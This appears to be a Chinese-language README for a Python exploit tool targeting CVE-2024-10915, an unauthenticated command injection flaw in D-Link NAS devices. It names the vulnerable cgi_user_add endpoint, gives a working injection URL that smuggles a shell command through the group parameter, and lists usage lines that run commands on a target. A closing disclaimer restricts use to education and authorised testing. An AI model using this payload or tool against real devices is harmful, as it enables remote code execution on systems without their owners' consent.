CVE-2024-10915 - D-Link NAS 命令注入漏洞利用

该基于Python的漏洞利用工具针对多款D-Link NAS产品的命令注入漏洞，通过 /cgi-bin/account_mgr.cgi?cmd=cgi_user_add 端点进行攻击。该漏洞允许未经认证的攻击者在受影响设备上执行任意系统命令。

描述

CVE-2024-10915 影响多款 D-Link NAS 型号。攻击者可通过 cgi_user_add 命令中的 group 参数注入命令，从而导致远程代码执行。

易受攻击的端点: /cgi-bin/account_mgr.cgi?cmd=cgi_user_add

http://192.168.1.100/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=';id;'

安装所需依赖：

pip3 install requests

usage: dlink_nas_rce_cve_2024_10915.py [-h] [-u URL] [-c COMMAND] [-p PROXY] [-o OUTPUT] [-l]

python3 dlink_nas_rce_cve_2024_10915.py -u "http://TARGET_IP" -c "id" -p "http://127.0.0.1:8080" -o results.txt

python3 dlink_nas_rce_cve_2024_10915.py -u "http://TARGET_IP" -c "uname" -p "http://127.0.0.1:8080" -o results.txt

python3 dlink_nas_rce_cve_2024_10915.py -u "http://TARGET_IP" -c "ifconfig" -p "http://127.0.0.1:8080" -o results.txt

本项目仅用于教育和授权测试目的。请勿在未经明确许可的网络或系统上使用此工具。作者对任何滥用或造成的损害不承担任何责任。